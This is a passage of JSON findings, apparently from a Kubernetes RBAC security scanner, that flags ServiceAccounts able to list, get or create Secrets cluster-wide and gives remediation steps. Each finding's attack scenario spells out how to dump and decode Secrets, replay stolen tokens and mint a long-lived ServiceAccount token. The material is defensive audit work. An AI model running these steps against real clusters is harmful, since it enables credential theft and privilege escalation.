      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: pods/exec",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#pod-exec"
      },
      {
        "title": "Kubernetes — Get a Shell to a Running Container",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1609",
        "name": "Container Administration Command",
        "url": "https://attack.mitre.org/techniques/T1609/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-005:ServiceAccount/gw-workloads/gw-powerful::secrets",
    "rule_id": "KUBE-PRIVESC-005",
    "severity": "HIGH",
    "score": 10,
    "category": "data_exfiltration",
    "title": "Cluster-wide list/watch access to Secrets enumerates every Secret on `ServiceAccount/gw-workloads/gw-powerful`",
    "description": "Subject ServiceAccount/gw-workloads/gw-powerful can `list` or `watch` core `secrets` via ClusterRoleBinding `gw-powerful-secrets` → ClusterRole `gw-secret-lister`. Cluster-wide: applies to every current and future namespace.\n\nThe Kubernetes documentation is explicit that `list` and `watch` return Secret contents in the response body (they are not metadata-only verbs). Unlike `get` (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single `list` enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.\n\nKubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes `kube-system` ServiceAccount tokens, which are routinely cluster-admin-equivalent.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "gw-powerful",
      "namespace": "gw-workloads"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "gw-secret-lister",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Cluster-wide enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.",
    "attack_scenario": [
      "Attacker reaches ServiceAccount/gw-workloads/gw-powerful (compromised pod, leaked kubeconfig, or stolen token).",
      "They run `kubectl get secrets -o yaml` in scope and base64-decode every `data` field, harvesting all Secrets in one request.",
      "They identify Secrets of type `kubernetes.io/service-account-token` (legacy) or call the TokenRequest API with harvested credentials.",
      "They replay the highest-privileged token against the API server (`kubectl --token=\u003cjwt\u003e get clusterrolebindings`).",
      "They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "cluster",
      "source_binding": "gw-powerful-secrets",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "gw-secret-lister",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "list"
      ]
    },
    "remediation": "Remove `list`/`watch` on `secrets` from this subject; if a specific Secret is genuinely needed, scope a `get` by `resourceNames` to that one name.",
    "remediation_steps": [
      "Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.",
      "If runtime access is required, drop `list` and `watch` entirely and scope a `get` rule by `resourceNames` to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.",
      "Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.",
      "Verify with `kubectl auth can-i list secrets --as=gw-powerful -A` returning `no`.",
      "For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed `EncryptionConfiguration`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Good practices for Kubernetes Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets read",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Kubernetes — Encryption at Rest (KMS provider)",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/"
      },
      {
        "title": "Datadog Security Labs — Persistence via TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-005:ServiceAccount/imgswap-fixtures/imgswap-reader::secrets",
    "rule_id": "KUBE-PRIVESC-005",
    "severity": "HIGH",
    "score": 10,
    "category": "data_exfiltration",
    "title": "Cluster-wide list/watch access to Secrets enumerates every Secret on `ServiceAccount/imgswap-fixtures/imgswap-reader`",
    "description": "Subject ServiceAccount/imgswap-fixtures/imgswap-reader can `list` or `watch` core `secrets` via ClusterRoleBinding `crb-imgswap-secret-reader` → ClusterRole `cr-imgswap-secret-reader`. Cluster-wide: applies to every current and future namespace.\n\nThe Kubernetes documentation is explicit that `list` and `watch` return Secret contents in the response body (they are not metadata-only verbs). Unlike `get` (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single `list` enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.\n\nKubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes `kube-system` ServiceAccount tokens, which are routinely cluster-admin-equivalent.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-imgswap-secret-reader",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Cluster-wide enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.",
    "attack_scenario": [
      "Attacker reaches ServiceAccount/imgswap-fixtures/imgswap-reader (compromised pod, leaked kubeconfig, or stolen token).",
      "They run `kubectl get secrets -o yaml` in scope and base64-decode every `data` field, harvesting all Secrets in one request.",
      "They identify Secrets of type `kubernetes.io/service-account-token` (legacy) or call the TokenRequest API with harvested credentials.",
      "They replay the highest-privileged token against the API server (`kubectl --token=\u003cjwt\u003e get clusterrolebindings`).",
      "They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "cluster",
      "source_binding": "crb-imgswap-secret-reader",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-imgswap-secret-reader",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "get",
        "list"
      ]
    },
    "remediation": "Remove `list`/`watch` on `secrets` from this subject; if a specific Secret is genuinely needed, scope a `get` by `resourceNames` to that one name.",
    "remediation_steps": [
      "Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.",
      "If runtime access is required, drop `list` and `watch` entirely and scope a `get` rule by `resourceNames` to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.",
      "Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.",
      "Verify with `kubectl auth can-i list secrets --as=imgswap-reader -A` returning `no`.",
      "For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed `EncryptionConfiguration`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Good practices for Kubernetes Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets read",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Kubernetes — Encryption at Rest (KMS provider)",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/"
      },
      {
        "title": "Datadog Security Labs — Persistence via TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-005:ServiceAccount/vulnerable/privileged-reader::secrets",
    "rule_id": "KUBE-PRIVESC-005",
    "severity": "HIGH",
    "score": 10,
    "category": "data_exfiltration",
    "title": "Cluster-wide list/watch access to Secrets enumerates every Secret on `ServiceAccount/vulnerable/privileged-reader`",
    "description": "Subject ServiceAccount/vulnerable/privileged-reader can `list` or `watch` core `secrets` via ClusterRoleBinding `privileged-reader` → ClusterRole `privileged-reader`. Cluster-wide: applies to every current and future namespace.\n\nThe Kubernetes documentation is explicit that `list` and `watch` return Secret contents in the response body (they are not metadata-only verbs). Unlike `get` (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single `list` enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.\n\nKubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes `kube-system` ServiceAccount tokens, which are routinely cluster-admin-equivalent.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "privileged-reader",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Cluster-wide enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.",
    "attack_scenario": [
      "Attacker reaches ServiceAccount/vulnerable/privileged-reader (compromised pod, leaked kubeconfig, or stolen token).",
      "They run `kubectl get secrets -o yaml` in scope and base64-decode every `data` field, harvesting all Secrets in one request.",
      "They identify Secrets of type `kubernetes.io/service-account-token` (legacy) or call the TokenRequest API with harvested credentials.",
      "They replay the highest-privileged token against the API server (`kubectl --token=\u003cjwt\u003e get clusterrolebindings`).",
      "They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "cluster",
      "source_binding": "privileged-reader",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "privileged-reader",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "get",
        "list"
      ]
    },
    "remediation": "Remove `list`/`watch` on `secrets` from this subject; if a specific Secret is genuinely needed, scope a `get` by `resourceNames` to that one name.",
    "remediation_steps": [
      "Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.",
      "If runtime access is required, drop `list` and `watch` entirely and scope a `get` rule by `resourceNames` to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.",
      "Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.",
      "Verify with `kubectl auth can-i list secrets --as=privileged-reader -A` returning `no`.",
      "For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed `EncryptionConfiguration`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Good practices for Kubernetes Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets read",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Kubernetes — Encryption at Rest (KMS provider)",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/"
      },
      {
        "title": "Datadog Security Labs — Persistence via TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-006:ServiceAccount/privesc-fixtures/sa-secret-mint::secrets",
    "rule_id": "KUBE-PRIVESC-006",
    "severity": "HIGH",
    "score": 10,
    "category": "data_exfiltration",
    "title": "Cluster-wide `get` access to Secrets on `ServiceAccount/privesc-fixtures/sa-secret-mint`",
    "description": "Subject ServiceAccount/privesc-fixtures/sa-secret-mint can `get` core `secrets` via ClusterRoleBinding `crb-secret-mint` → ClusterRole `cr-secret-mint`. Cluster-wide: applies to every current and future namespace.\n\n`get` returns the full Secret object, including the base64-encoded `data` payload, for any Secret whose name the caller knows. It is narrower than `list`/`watch` (KUBE-PRIVESC-005), which dump every Secret in scope without needing names, but in practice Secret names are highly guessable (`\u003capp\u003e-tls`, `\u003capp\u003e-db`, `default-token-*`, registry pull secrets) and are often discoverable from pod specs, so `get` alone routinely exposes ServiceAccount tokens, TLS keys, and database credentials.\n\nCluster-wide `get` reaches `kube-system` ServiceAccount token Secrets, which are commonly cluster-admin-equivalent.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-secret-mint",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Cluster-wide read of any named Secret (ServiceAccount tokens, TLS keys, registry credentials), enabling identity replay once the attacker knows or guesses a Secret name.",
    "attack_scenario": [
      "Attacker reaches ServiceAccount/privesc-fixtures/sa-secret-mint and confirms the verb with `kubectl auth can-i get secrets --as=sa-secret-mint -A`.",
      "They recover Secret names from pod specs they can read, from naming conventions, or from default token patterns.",
      "They `kubectl get secret \u003cname\u003e -o yaml` and base64-decode the `data` fields.",
      "They replay the highest-privileged token (e.g. a kube-system controller SA) against the API server.",
      "They pivot to cloud APIs using extracted IRSA / Workload Identity credentials, or persist via a backdoor binding."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "cluster",
      "source_binding": "crb-secret-mint",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-secret-mint",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create",
        "get"
      ]
    },
    "remediation": "Scope `get` on `secrets` by `resourceNames` to the exact Secret(s) the workload needs, or remove it entirely if Secrets are consumed via volume/env injection.",
    "remediation_steps": [
      "Confirm the workload needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.",
      "If runtime access is required, scope the rule by `resourceNames` to the exact Secret name(s). Never grant `get` on all secrets.",
      "Move the binding from cluster-wide to namespace-scoped so the blast radius is bounded.",
      "Verify with `kubectl auth can-i get secrets --as=sa-secret-mint -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Good practices for Kubernetes Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets read",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Kubernetes — Encryption at Rest (KMS provider)",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-006:ServiceAccount/privesc-fixtures/sa-secret-read::secrets",
    "rule_id": "KUBE-PRIVESC-006",
    "severity": "HIGH",
    "score": 10,
    "category": "data_exfiltration",
    "title": "Cluster-wide `get` access to Secrets on `ServiceAccount/privesc-fixtures/sa-secret-read`",
    "description": "Subject ServiceAccount/privesc-fixtures/sa-secret-read can `get` core `secrets` via ClusterRoleBinding `crb-secret-read` → ClusterRole `cr-secret-read`. Cluster-wide: applies to every current and future namespace.\n\n`get` returns the full Secret object, including the base64-encoded `data` payload, for any Secret whose name the caller knows. It is narrower than `list`/`watch` (KUBE-PRIVESC-005), which dump every Secret in scope without needing names, but in practice Secret names are highly guessable (`\u003capp\u003e-tls`, `\u003capp\u003e-db`, `default-token-*`, registry pull secrets) and are often discoverable from pod specs, so `get` alone routinely exposes ServiceAccount tokens, TLS keys, and database credentials.\n\nCluster-wide `get` reaches `kube-system` ServiceAccount token Secrets, which are commonly cluster-admin-equivalent.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-read",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-secret-read",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Cluster-wide read of any named Secret (ServiceAccount tokens, TLS keys, registry credentials), enabling identity replay once the attacker knows or guesses a Secret name.",
    "attack_scenario": [
      "Attacker reaches ServiceAccount/privesc-fixtures/sa-secret-read and confirms the verb with `kubectl auth can-i get secrets --as=sa-secret-read -A`.",
      "They recover Secret names from pod specs they can read, from naming conventions, or from default token patterns.",
      "They `kubectl get secret \u003cname\u003e -o yaml` and base64-decode the `data` fields.",
      "They replay the highest-privileged token (e.g. a kube-system controller SA) against the API server.",
      "They pivot to cloud APIs using extracted IRSA / Workload Identity credentials, or persist via a backdoor binding."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "cluster",
      "source_binding": "crb-secret-read",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-secret-read",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "get"
      ]
    },
    "remediation": "Scope `get` on `secrets` by `resourceNames` to the exact Secret(s) the workload needs, or remove it entirely if Secrets are consumed via volume/env injection.",
    "remediation_steps": [
      "Confirm the workload needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.",
      "If runtime access is required, scope the rule by `resourceNames` to the exact Secret name(s). Never grant `get` on all secrets.",
      "Move the binding from cluster-wide to namespace-scoped so the blast radius is bounded.",
      "Verify with `kubectl auth can-i get secrets --as=sa-secret-read -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Good practices for Kubernetes Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets read",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Kubernetes — Encryption at Rest (KMS provider)",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-007:ServiceAccount/cert-manager/cert-manager::*",
    "rule_id": "KUBE-PRIVESC-007",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `create`+`get` on Secrets mints a ServiceAccount token (`ServiceAccount/cert-manager/cert-manager`)",
    "description": "Subject ServiceAccount/cert-manager/cert-manager can both `create` Secrets (via ClusterRoleBinding `cutres-deputy-cm-admin` → ClusterRole `cluster-admin`) and `get` Secrets (via ClusterRoleBinding `cutres-deputy-cm-admin` → ClusterRole `cluster-admin`). Cluster-wide: applies to every current and future namespace.\n\nHeld together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`. The token controller observes the new Secret and populates its `data.token` field with a valid, long-lived JWT for that ServiceAccount. The attacker then `get`s the Secret back and reads the minted token.\n\nThis sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no `serviceaccounts/token` permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.",
    "attack_scenario": [
      "Attacker confirms both verbs with `kubectl auth can-i create secrets --as=cert-manager -A` and `kubectl auth can-i get secrets --as=cert-manager -A`.",
      "They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).",
      "They create a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`.",
      "The token controller fills in `data.token`; the attacker `get`s the Secret and base64-decodes the JWT.",
      "They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-deputy-cm-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Do not grant `create` and `get` on `secrets` to the same subject; scope each by `resourceNames` and disable legacy token-Secret auto-population where possible.",
    "remediation_steps": [
      "Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.",
      "If Secret creation is required, scope it by `resourceNames` and never pair it with broad `get` on secrets.",
      "Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating `kubernetes.io/service-account-token` Secrets.",
